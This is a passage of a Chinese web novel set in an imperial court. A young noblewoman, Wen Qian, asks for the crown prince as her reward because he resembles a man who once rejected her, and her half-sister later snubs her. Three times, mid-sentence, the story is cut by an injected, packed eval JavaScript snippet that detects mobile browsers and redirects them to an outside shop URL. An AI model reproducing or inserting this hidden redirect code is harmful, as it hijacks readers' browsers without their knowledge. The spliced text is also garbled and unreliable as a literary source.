太子长身玉立,面容白净,还穿着玄黑朝服,身后仅跟着一位侍从夜寒。他刚刚下朝,路经御花园前往慈宁宫。 众人纷纷跪拜行礼,只有闻浅一动不动地直直看着纪翀,竟失了神。她没有向纪翀行礼。 纪翀抬起手,让众人起身:“无需多礼。” 眸色浅淡,视线扫过闻浅的面容。却只是单纯的凝视,并无一分一毫带有冒犯的探究意味。 两人就这样对视上,时间也仿佛凝滞下来。 * 他叫玉行。闻浅第一次见到他,是在三年前,初见时下着浩浩大雪。 冰天雪地里,一箭射杀恶狼,是玉行前来救她。宛若神祇降世,玉行骑在马上,一袭素白长袍,身上虽带着伤,却压不住沉肃逼人的气势。她想,原来他就是这几天被楼里姑娘挂在嘴边的玉行公子。 没过几天,闻浅行经廊下,看见玉行在庭院中舞剑。谪仙一般的人物,叫闻浅挪不开眼。 玉行忽地丢下剑,半跪在地上吐出一滩鲜红的血。 “公子!”闻浅忙走过去搀他。 对于她的触碰,玉行肩膀有些僵硬,却没有挣开,他咬牙:“你可否扶我回房?” 原来玉行之所以来盈春楼,是因为他中了剧毒,毒性却在半个月后才发作。楼主安排闻浅去照料玉行。玉行昏迷了三天三夜,眼睛一直闭着,久到闻浅觉得他再也醒不过来了。她跪坐在床下捧着脸呜咽着哭出声。 “这么担心我啊。”玉行却醒过来了,漆黑的眼眸沾了些笑意,静静望着她。 玉行转醒后,基本每天都和闻浅待在一起。他常常挂在嘴边吟咏的一首词,便是《菩萨蛮》。玉行说:“若日后有幸,愿回江南了却残生。” 中秋的晚上闻浅喝醉了酒,没忍住向玉行表明了心意。小姑娘红着脸,两只手捧着一袋香囊,扭扭捏捏道:“玉行公子,其实我喜欢你很久了。你愿意和我一起出楼吗?” 她想好了,既然回云京无望,那她就和玉行永远在一起也很好。 玉行神色莫测地看着闻浅,不说话。 时间仿佛在这一刻凝滞,闻浅听见自己砰砰砰的心跳声。 “抱歉。” 玉行拒绝了她,也没有收下她的香囊,转身就走。 被拒绝后,闻浅依然会去找玉行,玉行倒也不抗拒,可态度却比从前冷淡太多。那几个月,闻浅每晚都会偷偷哭泣,渐渐也逼迫着自己减少和玉行的联系。 再后来,便是闻浅听说玉行要永远离开盈春楼了。她做出了这些年在盈春楼最大胆的事情,那就是违背楼主下的禁足令翻墙去追玉行的马车。 漫天的飞雪如落花一般洋洋洒洒地飘荡下来。 看到闻浅后,马车停了下来。玉行端坐在马车里,神色冷漠。冷漠到让她觉得无比陌生。 “玉行,你、你带我走吧。”闻浅被冻得苍白的脸上流下滚烫的泪水,声音带着哀求,“好不好。” 玉行的表情终于有了丝毫松动,他起身,从怀里拿出一块玉佩,居高临下地递给闻浅。 闻浅伸手接过,玉佩上还沾着他的气息。 “闻浅。”他一个字一个字说得那么疏离,“忘了我吧。” 他像谪仙一样降临她的世界,又像冰雪一样冷漠地离去。 怎么留住一个执意离开的人?留不住的。 * 被父亲丢弃在盈春楼,闻浅的心上烙下一道伤疤;被玉行拒绝,那道伤疤又一次被撕扯开,再也无法愈合。 回过神,再眨眨眼,闻浅才发觉他是太子殿下,而不是玉行。 也是。 玉行是绝无可能出现在这的。 此时此刻,心头那道无法愈合的伤疤让闻浅感觉一慌,酸涩涌上喉间。 “浅浅,你说你要什么补偿?”怜妃又问一遍。 “我要他。”闻浅双手交叠置于膝上,垂下眼眸,声音一清二楚。 听到闻浅的回答,众人喧哗四起。 “太子殿下能看得上她?这闻大小姐仗着身份说话真是肆无忌惮。” “好大的胆子,好不知羞耻!” “京中第一贵女都被太子拒绝过,太子哪能看得上这么一位作诗都作不出的草包?” “笑话,简直天大的笑话。” 谁都没有想到这个看上去斯文安静的漂亮姑娘,居然有这么大的胆子,居然如此大言不惭。 在场的女眷皆是激动又是诧异,激动是因为难得见到太子而蠢蠢欲动,诧异是因为闻浅实在大胆。 若换做其他不知天高地厚的小姐,敢说这种话,拖出去打板子都算从轻发作了。但谁让闻浅是赫赫定国公府嫡出大小姐呢,身份尊贵,便有如此撂下狂傲话语的胆量。 闻潇掐紧手心,兀自瞪着闻浅。这个不知天高地厚的嫡姐,竟然什么话都敢说!偏偏还真让她吸引了太子的目光。闻潇多想让太子的视线落在自己的身上啊。 纪翀听了这话,若有所思,大步一迈便朝闻浅和怜妃这边走来。 纪翀是已故的熹华皇后嫡出,年幼的时候在重门宫陪侍皇后,皇后逝去后就一直养在太后膝下。 怜妃颇得圣宠,但也只得一个六公主纪云照和一个四皇子纪明。 圣上没有再立继后。纪翀是嫡嫡道道的太子不假,但除去纪翀,当今圣上就没有其他嫡子了。 后宫最讲究的便是母凭子贵,是以怜妃对纪翀实则忌惮得很,巴不得纪翀犯错被废,好让自己儿子当太子。奈何这么些来纪翀政绩斐然,不管是身份还是能力都无可非议。 怜妃:“浅浅,你这奖赏要的是不是太贪心了点?本宫可做不了太子殿下的主。” 走近了些,纪翀站立着,视线落在闻浅的脸蛋上。长翘的鸦睫,不点而朱的樱唇,好似一朵幽幽盛开的芙蕖,任君观赏却又清纯脱俗不容亵渎。 打扮素雅的小姑娘低垂着头,撂下胆大的话语却不敢看他。 “好久不见,闻浅小姐。”清隽昳丽的面容上,纪翀薄唇弯起弧度。 听纪翀这么说,怜妃心中起疑,想法在脑海里飞转。闻浅没有走失的时候,的确常来宫中,但那时纪翀养在重门宫;闻浅走失后,纪翀才被接回宫中。按道理,两人应该是没有结识的机会的。 不光怜妃觉得奇怪,闻浅也抬起眼:“殿下竟认识我?” 她觉得他真好看,尤其是眉眼。他有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472529|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼尾上翘的桃花眼,带着难以察觉的勾人意味。漆黑的瞳眸带着通透清辉,右侧眼角有一颗泪痣。 虽是身份高贵,纪翀却没有任何盛气凌人的感觉,反倒是温文无害叫人心生亲近。 但对闻浅来说,这并不重要,重要的是他很像他。所以让她情不自禁想要亲近。 闻浅直言想要太子,无疑是让自己陷入了众矢之的。无论太子是接受还是拒绝,都不免被他人议论纷纷。好一些,太子不介意,尚可马虎过去;差一些,触怒了太子,便是轻轻松松沦为笑柄。 “定国公的掌上明珠,孤自然认识。”纪翀道,“陇烨不比云京,闻浅姑娘这些年受苦了,得些补偿实属应当。” 怜妃:“哦?浅浅这般要求,殿下你莫是真想答应了去?那依本宫看,怕是要先启禀陛下。” 太子只看着闻浅,深邃的眼眸中闪过一丝不易察觉的笑意。他摆手,道:“父皇政务繁忙,何必惊动父皇?闻浅小姐怕是一时心急说错了话,孤明白姑娘是觉得孤常带的这枚玉佩精美,心生喜爱才会如此直言。” 纪翀这么说,是为了故意曲解闻浅的意思来解替闻浅解围。他从腰间解下那块灵犀白玉佩,玉佩在阳光下泛着温润的光泽。 一时心急说错了话?谁会因为心急一连两次都说错话。闻浅分明想要的就是太子殿下本人,当闻府大小姐还不够,一回来就上赶着想要当太子妃!但太子不生气也就罢了,竟还主动给闻浅解围。 闻潇和闻洛对视一眼,心照不宣。 纪翀把玉佩交给侍从夜寒,夜寒再恭恭敬敬地用两手托着递给闻浅。 “这玉佩跟随孤已久,今日与闻浅小姐有缘,便赠予小姐罢。” 闻浅微微一愣,显然没料到太子会如此行事,她抬头看向太子,樱唇轻抿。 她想起来,玉行临走时也给了她一块玉佩。 当真是像他。 “臣女谢过殿下。”闻浅也不忸怩客气,大大方方地从夜寒手里接过玉佩。 一场风波,就这样在太子的巧妙周旋下平息。周围的众人见太子这般大度宽容,纷纷赞叹太子的仁德与宽宏。而怜妃原本紧绷的脸色也稍稍缓和了些,毕竟太子已经巧妙地化解了这略显尴尬的局面。 闻潇则在一旁气得咬紧牙关,心中暗想这闻浅竟如此好运,能得到太子的解围和赏赐。比起方才作诗出的风头,比起怜妃赏的什么花魂流苏步摇,她更想要得到太子殿下的玉佩。闻潇瞪了闻洛一眼,示意妹妹替自己开口说话。 闻洛自然知道自个堂姐心里想的是什么,她不想硬着头皮切入话题,只好低头假装没看见闻潇飞来的眼刀。 还是六公主无惧无畏,她笑嘻嘻开口道:“太子哥哥,你若早些来便更好了,方才我们在吟诗作词呢。” 她知道好友闻潇属意太子,便有心推波助澜。 纪云照示意婢女把几篇词作拿过来给纪翀过目一番,也好借此踩着闻浅夸夸闻潇。 “太子哥哥,你瞧瞧这两首《菩萨蛮》,哪一首更好呢?” 闻潇心里又洋洋自得起来,一双娇俏的眼睛透着期许,她想让太子知道闻浅的真面目不过就是个喜欢冒用他人词作的草包。 5. 谢礼 纪翀目光一扫:“一首出自大家韦庄,一首想来是原创,有什么好比的呢?” 不愧是太子,说话从来都是一针见血。 纪云照不依不挠:“哈,太子殿下都这么说了,某些人可记着些,免得丢人现眼。” 听了六公主这番话,众人更是窃笑起来。闻浅只是捏紧了玉佩,一言不发,也没想着为自己辩解一二。 却没想到太子殿下微微蹙眉,缓声道:“云照,正己而不求于人则无怨;何况博观而约取,吟诗作词若是为了作而作,倒不如不作。” 在这诡谲的宫廷之中,众人言行举止皆需小心谨慎。纪翀身为太子,更是每句话都举足轻重,需字斟句酌、再三思量。他这一番话,含义颇深。一是让六公主管好自己,莫要随意对他人加以讥讽;二是明显地偏袒闻浅,救她于风口浪尖的困境。 纪云照她身为公主,向来备受宠爱,如今在众人面前被太子这般说教,心中自是愤愤不平。太子的威严又令她不敢公然反驳,只得咬着嘴唇,强忍着心中的不满。 众人见此情形,也收敛了笑容,大气都不敢出,生怕一个不小心惹祸上身。 闻浅在听到太子的这番话后,心中不禁泛起一丝涟漪。她未曾想到,太子竟会在这样的场合为自己出头。 但最难受的人是闻潇,她原本还带着些许得意的面容瞬间僵住,原本上扬的嘴角此刻也紧绷起来,紧紧攥着手心。 * 迎春宴闻氏姐妹作诗以及太子赠闻浅玉佩之事很快传到了王老夫人耳里。 “自大小姐回来之后,二小姐从未去落梅院探望便也罢了,如今做事竟如此针锋相对,丝毫不顾姐妹情分。”李嬷嬷道。 老夫人手里握着佛珠:“毕竟不是一个娘生的。潇儿性子随了薛氏,小心眼上不得台面,也不难怪。” 薛清梨出身小门小户,本是入了宫中作女官,后被圣人指给长房闻鸿观作侧夫人。不比闻浅母亲周氏是将军府遗孤,自幼在老夫人跟前长大。只可惜周氏体弱早逝,长房才抬了侧夫人薛清梨作续弦。 “好在大小姐性情好,从来也不屑于争什么,也难怪回来第一件事就是把院里的人手打发了大半。”李嬷嬷叹了口气道,“这些年大小姐在塞外当真是受苦了,小时候还活泼些,长大愈发安静内敛了。” 听了李嬷嬷的话,老夫人也不觉心头怅然:“当年下了狠心才叫长房把浅浅送到塞外去,如今看来倒也真不知是爱她还是害她。周氏留在世上就这么一双儿女,若是没看管好,百年之后入了地下老身又有何颜面和周氏交代?” 作为跟在老夫人身边几十年的老人,李嬷嬷当然知道堂堂定国公府嫡出大小姐不可能会轻易走失。闻浅遗失在盈春楼是一场另有目的的密谋,其中恐怕也有老夫人的手笔。只是这件事对外只能宣称是意外走失,个中真相眼下只能咽回肚子里。 “忍得一时方得长久,大小姐这么懂事,定会理解您的良苦用心。”李嬷嬷想了想,劝道,“其实依老奴看,二小姐虽娇纵了些,但本心也不坏,之所以这么针对大小姐恐怕是这几日受了冷落的缘故。” 老夫人道:“也是。浅浅一回来,老身心思便全放了浅浅身上,倒是疏忽了潇儿。刚好前几日宫里赐了些云锦,你叫人去给浅浅送两匹,再给潇儿也送两匹。” 老夫人作为一品诰命夫人,宫里常常会分发赏赐下来。先前闻浅不在府里的时候,老夫人对孙女的一腔爱意全灌注在了闻潇身上,如今乍然收回,闻潇不适应也实属正常。 李嬷嬷笑着答应了。 “罢了罢了,再额外给浅浅添两匹蜀锦吧。”佛珠珠串在手里快速滚动,老夫人阖眼,连道数遍,“造孽,造孽。” * 落梅院卧房里点了地暖,窗外明媚的日光照在插在没有插花的花瓶上。 映杏小心翼翼地抚着手里的云锦,不禁笑道:“老夫人对小姐当真是好,今日又差人送了云锦过来。这云锦绚丽多彩,最是难得。不如奴婢差府里绣娘给小姐做件锦衫,等天气回暖了穿可好?” “不必,先叫映棠登记了收起来。”闻浅只穿了一件浅碧色襦裙,坐在圈椅上看着手里的两枚玉佩。 一枚是灵犀白玉佩,正是前几日太子所赠;另一枚不管是材质还是做工都粗糙廉价了些,只是块圆形玉佩,上面刻着一个“行”字。 闻浅却将珍贵的灵犀白玉佩随手放在桌上,反倒捧起那枚粗糙的圆形玉佩贴在胸口,恋恋不舍。 仔细想想便不难知道,这枚玉佩上的字大概是玉行公子亲手刻的。就算粗陋了些,但在闻浅心中便是世上绝无仅有的稀世珍宝。她郑重地把圆形玉佩放在自己梳妆箱的最底层,生怕把它磕坏了。 那些过往的回忆,如今看来就像一场梦。闻浅后知后觉而又不愿承认,她和玉行之间好像的确是再无可能了。 “俗话说,先敬罗衣后敬人。”映杏纠结一二,还是开口劝道,“小姐心思纯粹,却不知如今京中都是些见风使舵、趋炎附势的势力之徒。小姐当注重起打扮,这上好的云锦刚好能陪小姐姣好的容色。” “衣服都是穿给知己看的,若是刻意穿给只会以貌取人的粗浅之人看,那和对牛弹琴有什么区别?”闻浅看着映杏道,“……罢了,那你叫映棠送去绣娘那吧。” 闻浅不是不知道这些道理,她只是觉得花费这些心思好没趣。饶是她打扮得再漂亮,玉行又看不见。 “小姐是想把太子殿下送的这枚玉佩戴在身上吗?奴婢来帮你。”见闻姵要把灵犀白玉佩系在腰间,映杏忙躬身过来帮忙,“小姐那日在怜妃娘娘面前怎么能说那种话呢?” 闻浅由着映杏把佩玉系上,淡淡问道:“什么话?是太子殿下我喜欢不得吗?” 映杏低着头,系玉佩的手没有停顿:“倒也不是,只是、只是小姐您刚回云京,恐怕有所不知。太子不喜女色,最是难以接近,我怕小姐碰壁受了伤。小姐,您真的是认真的吗?” 闻浅:“在怜妃娘娘面前我怎么敢信口胡说。就算太子再难接近,但喜欢他是我一个人的事,何况感情本来就要勇于尝试。” 映杏:“其实小姐身份尊贵无比,不仅是公爷的掌上明珠,又得圣上疼爱,自然值得天下最好的男子。而且这次迎春宴太子殿下替小姐解围,说不定也不是对小姐没有意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472530|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻浅:“是该好好谢过,这样吧,你随我出府去给殿下挑个回礼如何?” “好,奴婢听说云京中卖珠宝的当属城南宝华轩最好。”映杏应下,去替闻浅取面纱和钱袋来。 闻浅立在院门口,感受着阳光扑在脸上的暖意,脑海里浮现出太子殿下的面容。他和他,当真是肖似。 “我要追求太子,我喜欢太子。”闻浅摸向自己腰间的玉佩,轻声喃喃道。 “小姐在说什么呢?”映杏取了东西走过来,笑问。 “没什么,走吧。”闻浅淡淡地点了点头。 都说走出一段感情最好的方式是开始另一段新的感情,那么她就骗骗自己,这样说不定就能缓释心头爱而不得的痛苦,说不定就能忘却玉行抛弃自己而离开的残忍事实。 只是,她这样做是对的吗?试图沉浸在对另一个人的感情里,来抚平自己为情所困的伤口。 * 宝华轩一楼。 “宝华轩价格贵,但奴婢带足了银票,小姐尽管挑心仪的买。” 柜台里陈设着各种精美的首饰,闻浅一一扫过去,觉得都太女气了些,送给女儿家合适,送给太子实在不合适。 她指了指标价最贵的一对玛瑙明珠耳坠,对店倌说:“这对耳坠替我装好吧。” “这副耳坠送给太子殿下,恐怕不太合适吧?”映杏有些疑惑。 闻浅摸了摸头上的金镶珍珠簪,道:“这是送给二妹妹的谢礼。” “原来如此,小姐当真是有心了。” 二人谈话间,店倌已经把耳坠包好了送来。 映杏从钱袋里取出四张一百两的银票递给店倌,店倌不禁多看了几眼戴着面纱的闻浅。 这小姐打扮得朴素,出手竟这么阔绰,本来面无表情的店倌脸上忙堆满笑脸道:“好嘞,还有几两找银马上给小姐。” “不必了,你留着吧。”闻浅冲店倌摆摆手,问,“你这的首饰怎么都如此婉约?没有适合男子的么?” “小姐有所不知,一楼是专门经营女子生意的,真正上好的首饰在楼上二楼。”店倌回答道。 “是的小姐,三楼首饰一般价格也会更高一些。”映杏手里拿着装着耳坠的盒子,这才想起来闻浅刚回云京,对宝华轩是一无所知的。 不像一楼对外开放,宝华轩二楼不是人人都能去得的,只有在一楼高消费过或者是京中赫赫有名的达官显贵才能上楼。 闻浅道:“原来如此,那你领我上楼看看可好?” 店倌为难道:“店里客人多,我要照看着些,不如小姐您自己去楼上看看吧。有看中的楼上店倌自然会接待小姐的。” 闻浅便顺着店倌所指的方向,从楼梯上了二楼。 果然不似一楼喧闹,二楼人少,满屋金碧辉煌,在珠宝首饰的映衬下透着股豪华奢靡之气。 “果真是云京最好的珠宝铺。”闻浅赞道,她看中了一枚金蝉佩,正想拿过细细端详。 “别动!碰坏了你赔得起么?”一长脸店倌快步走来,伸手拍掉闻浅将要触摸的手,斜睨着闻浅的神色里端着股不屑,“谁放你上来的?” 6. 闭门 素白的面纱遮住了闻浅的面容,只露出了一双精致的桃花眼。她长睫一颤,似被店倌的举动吓了一跳。 “大胆!你这个店倌怎么敢对我们小姐如此无礼?”见店倌如此无礼,映杏拧眉骂道。 店倌上下扫了眼闻浅,冷嗤道:“你家小姐?谁放你们上来的?你们是不知道宝华轩的规矩么?不是什么阿猫阿狗都能来二楼参观的。” 也不怪店倌如此傲慢不屑,实在是闻浅打扮得素淡,不像有钱人家的小姐。尤其是她那一双手,在塞外做惯了粗活,看着实在粗糙得慌。 面对店倌的无礼冒犯,闻浅没有丝毫的气恼,平静道:“是楼下店倌指我们上来的。我看这枚玉佩没有标价,不知是怎么卖?” “卖?你买得起么?”店倌不以为意。 “你!”映杏正要发作,却被闻浅拉住了手臂。 闻浅摇摇头,示意映杏不要轻易暴露身份。 闻浅的隐忍落在店倌眼里反倒成了她的心虚,店倌努努嘴示意闻浅赶紧下楼:“一会有位贵客要来,你赶紧下去,别在这待着碍事。” 忍无可忍,映杏拽过店倌的手,拿出方才在楼下买的耳坠,恨恨道:“没眼见的东西,我们买不起?那你快看看这是什么。我们小姐只是低调,你却如此放肆。” “住手!”恰在这时,六公主纪云照带着她的婢女山岚走了过来,刚好看见映杏拽着店倌这一幕,“闻大小姐知不知道先来后到的道理?这么玉佩是本公主定做的,大小姐还想抢了去?” 这一幕落到六公主的眼里,自然是闻浅不讲道理欺负一个小小店倌。六公主虽娇纵刻薄,却最见不得仗势欺人。 “映杏,放开他。”闻浅开口道,向六公主行礼,“民女见过六公主。” 纪云照翻了个白眼,她最擅长的就是戳人的短处,张嘴就对着闻浅的手一番冷嘲热讽:“啧啧,你这手看上去可真恶心!在塞外没学好规矩是不是?” 听到纪云照称呼闻浅为闻大小姐,店倌心里一个咯噔。 难道面前带着面纱的女子是定国公府刚找回来的那位嫡小姐? 坏了,六公主是惹不起,但这闻大小姐也是得罪不得的贵人啊。 他这才扫到闻姵别着的一枚玉佩,看上去倒真是价值连城。哎哟,怎么早没发现呢? 店倌脸色难看起来,揉着被映杏按痛的腕子,开口说话的声音仿若蚊子叫般细小:“公主殿下,误会,都是误会。” “什么误会?你莫要害怕,本公主自然会还你一个公道。” 原来店倌嘴里说的贵客是这位六公主。闻浅心中了然,道:“殿下,方才我不知是你先定做了这枚玉佩。既然如此,那我不要了便是。” 六公主是闻潇的朋友,虽然接触不多,但闻浅能感受到她对自己的敌意。想来也是不愿听自己解释的,说多了还讨人嫌,闻浅便没有开口多言。 反倒是店倌怕得罪了定国公府,匆匆忙忙地跪下将原委解释了一遍。又对着闻浅扇了自己一嘴巴:“都是我有眼无珠,没认出闻大小姐来,还望闻大小姐大人有大量,放过我。” 见店倌唱戏一般的变脸,闻浅忍俊不禁。 “行了行了,我们可受不起你的大礼。”觑着小姐脸色,丝毫看不出生气的样子,映杏便弯腰把店倌给扶了起来。 知晓是自己误会了闻浅,纪云照倒有些不好意思起来,她开口问道:“闻大小姐,你想要这玉佩是为何?” “殿下,民女已经说过不知是你先定做的。既然误会已经说清,我再看看别的便是。”闻浅坦然道,“至于为何,自然是想送给太子作为谢礼。” “送给太子哥哥?我看你还是收了这份心思吧,哥哥一定不会要的。”纪云照道。 闻浅漂亮的桃花眸凝着纪云照,流露出不解。 纪云照被闻浅看得脸一红:“别这么看着本公主,说了哥哥不会要就是不会要的。不过、不过既然是本公主误会了你,那这玉佩就赠与你吧,就当是赔礼了。” 纪云照吩咐店倌把金蝉佩装好给闻浅。 闻浅没有推辞,大大方方地叫映杏收下了:“公主殿下这份赔礼当真是丰厚。” 其实纪云照主要是过意不去方才一时冲动嘲讽了闻浅的手。而且她昨日才知道闻浅原是不知道迎春宴规则的,想到之前对闻浅的为难,就更加不好意思起来。 纪云照别别扭扭道:“本公主自然大方,这份礼物本来就是给太子哥哥选的,你送我送都一样。不如这样,马上是用晚膳的时间了,你请我吃饭,我把我所知道的太子哥哥好好与你说一番。” 听到纪翀,闻浅眼前一亮,应道:“好。” * 塞外烽火不断,云京歌舞升平。暮色降临,街道两边都是鳞次栉比的商铺坊肆,点起了一盏盏华灯。 闻浅跟在纪云照身后走着,看见一身着白衣的卖艺者在表演杂技。一招一式间,口中竟喷出了一团火焰。 “这有什么好瞧的?”纪云照见闻浅停住脚步,开口催促道。 她自幼生长在宫里,见惯了南腔北调各式各样精彩绝伦的表演,自然瞧不上这小小杂技。见闻浅看得这么入神,纪云照心中无端地升起一抹鄙夷。 在不毛之地待久了,当真是没见过世面。 察觉到纪云照语气中的不耐烦,闻浅收回视线,不紧不慢地跟上:“我看着觉得新奇。” 听闻浅这么说,纪云照带着炫耀地意味开始给闻浅介绍起来自己见识过真正的阳春白雪。 闻浅默默听着,没有言语。 天食楼,二楼靠窗的雅间。 纪云照说了一路,但闻浅没有丝毫应和,心里嫌闻浅无趣,开始懊悔和闻浅一同用晚膳。明明是同为定国公府的女儿,怎么闻潇叽叽喳喳地那般热闹,闻浅就这么沉闷? 菜都是纪云照点的,醉鱼、香酥焖肉、龙井虾仁、蜜汁烤鸭,干煸冬笋,大多是荤腥。闻浅嫌腻得慌,便只小口啜着牛乳茶,没怎么下筷。 山岚小心翼翼地给纪云照布菜,小声提醒道:“殿下,您还是早些回去吧,不然娘娘会生气的。” 到时候生气责罚起来,担责的永远都是纪云照身边的贴身婢女。 纪云照嚼着虾仁,不耐烦道:“知道,知道。” 闻浅:“我听说,太子殿下很得圣上器重?” “那当然,已故的熹华皇后和圣上是青梅竹马,只是生了太子哥哥后身子落下了病根。后来一直在京畿重门宫静修,太子哥哥最讲究孝道了,自愿侍奉在皇后娘娘身边。”纪云照守信用,便和闻浅说起自己所知的纪翀起来。 虽说她看见太子哥哥总是有些发怵,但必须承认哥哥确实很厉害。 纪云照:“太子哥哥在重门宫一住就是十年之久呢,但在那也没有荒废课业,几架子的藏书在那十年里都被太子哥哥翻烂了。所以哥哥才这么有才,后来在太后生辰宴上献言献宝得了太后娘娘的欢心,被太后接回皇宫亲自养在膝下。” 纪云照:“当年玄羽军刚刚建军,还留在京城训练。父皇说秋狩中所猎猛虎中最多者可得玄羽军兵符,太子就以活捉四只猛虎的手段拿下了兵符。” 闻浅惊奇:“啊?太子看着如此羸弱,竟还会骑射?” 纪云照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472531|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“我也觉得奇怪。只不过那时候我还小,不能参加秋狩,也不知太子哥哥是用了什么手段活捉四只猛虎的。” “可这玄羽军,我怎么没什么印象。” “那是因为玄羽军兵符后来交给了肃王殿下。” 肃王殿下,也就是大皇子纪珩。 闻浅有所听闻,却从未见过真人。 玄羽军被纪翀调教了一年半,本来是听令于纪翀的。后来祈明国来犯,太子殿下请缨出战。但圣上以“太子镇京,四方安靖”为由,不许太子离开云京。兵符就转移到大皇子纪珩手里。 纪云照放下筷子擦擦嘴:“说起武功来,我们这些皇子中,最好的应该是肃王殿下。当时秋狩按照父皇的规则,兵符本来就该赏赐给大皇子。因为他当时狩了整整九只猛虎。” “既然是太子殿下的两倍有余,为什么兵符还是落在了太子殿下手里?” “因为肃王的九只老虎非死即伤,太后嫌他视生灵为草芥,不可掌兵权。” 其实所有人都心知肚明,如果真的想把虎符赏赐给太子,那自然是有的是借口。 “不过。”纪云照叹了口气,望向窗外熙熙攘攘,“肃王殿下已经一年没有消息了,也不知还能回来吗……” “公主,这件事不能乱说呀!”山岚提醒道,“肃王殿下一定会没事的。” 闻浅蹙起眉,对纪云照提到的肃王纪珩产生了探究之意。本想再问,见山岚如此紧张,便只好先放在心里。 * 一转眼又过了两日。 闻浅见天气晴好,便梳洗打扮了番,想去芳菲院拜访闻潇。 她吩咐映杏拿好玛瑙明珠耳坠,主仆二人沿着碎石小径穿过小花园,走了半晌方到芳菲院门口。 不似落梅院的偏僻冷清,芳菲院紧挨着主母薛清梨的院子,装潢也颇为华贵。 芳菲院里面不时传来几声欢笑声。开满了粉花红花的藤枝争先恐后地从院中探出来,似乎也在彰显着院内的热闹与繁华。 “小姐,听说礼部侍郎陈家和相国邹家的几位姑娘来寻二小姐玩,二房家的洛小姐此时应该也在里头呢。” “难怪这么热闹。”闻浅道。她不喜欢人多,也不喜欢热闹,想着要不要改日再来。 院门紧紧闭着,闻浅伫立良久,还是扣了扣门。 “谁啊?”闻潇坐在秋千上,她抬抬手,示意鸣鹭先不要推她。 闻浅一只手抚在院门上,一手按在胸口,说话声高了些:“是我,闻浅。” 闻浅? 长姐这个时候来找自己做什么? 闻潇脸上闪过不悦,她跳下秋千,拍拍手示意其他贵女都先别说话。 众人面面相觑。 没有闻潇的吩咐,谁也不敢去给闻浅开门。 听见院内一下子陷入了沉寂,闻浅不由觉得古怪起来,她试探性地又敲了两下门:“妹妹,我来看看你,还不开门么?” 院里面。 首先是邹沁掩唇嗤笑起来:“原来是你那位不知天高地厚的长姐?她来做什么?” 那日迎春宴,邹小姐也在现场,深深记得闻浅那句想要太子的直言。 在场的诸位小姐都知道闻潇不喜欢这位同父异母的长姐,便纷纷开始应和着邹家小姐,肆无忌惮地嘲笑起闻浅来。 闻洛心想这样不太好,毕竟是一家姐妹,便自顾要去给闻浅开门。 “闻洛!我让你去给她开门了吗?”没想到闻潇语气急急,喝止了她,“不必管她便是,没事来找我,真烦人。” 闻洛便只好讪讪收回将要开门的手。 7. 淡漠 好在闻浅隔在院外,院内人的奚落她听不真切,只听见闻洛对她说:“今日二姐姐和其他姐妹在玩,你改日再来吧。” 映杏脸色一变,跺跺脚,替自家小姐打抱不平:“岂有此理!简直太不像话了,二小姐怎么能不给您开门呢?” 闻浅只怔着,一时觉得无比尴尬,走也不是,不走也不是。 映杏气不打一处来:“小姐,奴婢这就去告诉老夫人,叫老夫人为您做主!” 苍苔风寒,附近鸟鸦振翅而飞。纵是春光日好,透过绿叶间的缝隙落到闻浅身上,她也不觉得丝毫暖意。 闻浅拂了拂鬓边碎发,扫了映杏一眼,声音略微有些发沉:“不必。不必去告诉祖母。” “既然妹妹今日不愿见我,那便走吧。”她拢拢衣衫,有些僵硬地离开。 听出闻浅声音里的哽咽,映杏只觉得无比心疼。但她知道现在多说话难免引得小姐更加烦闷,便也只闭了嘴默默跟在闻浅后头。 闻浅在小花园里寻了处偏僻的角落,拣了块长满青苔的青石板蹲坐下。 “小姐别难过了。”映杏也俯下身来,捧着耳坠盒子,不无担心道。 “映杏,你先回落梅院吧,我想一个人静静。”闻浅蹲在地上,双手抱膝。 “可是,老夫人会担心的,要不小姐我带你去荣瑞堂找祖母吧。”映杏还想再劝,“二小姐实在不像话。” “你先走。” 执拗不过闻浅,映杏只好一步三回头,先离开了。 映杏一走,闻浅便双手捧住脸,狼狈地在地上哭出声来。其实倒也不是别的,不是因为闻潇的不开门,而只是方才站在院门口孤立无援的感觉竟然叫她无端又想起了七年前。 被父亲闻鸿观抛弃在塞外的那一天。 七年前,父亲受诏镇守陇烨,她也随着父亲一起去了。 而那一天,是个雪天。她缠了父亲好久,父亲才同意带她去外面玩。 父女二人晚膳是在盈春楼用的。 “浅浅,你在这等我,我去去便回。”父亲匆匆吃了两口饭,就起身离开。 临走时,闻泓观深深看了闻浅一眼。 她读懂了父亲眼神中的深意,匆忙起身追出楼,抓住父亲的衣摆:“爹爹,你要去哪?” 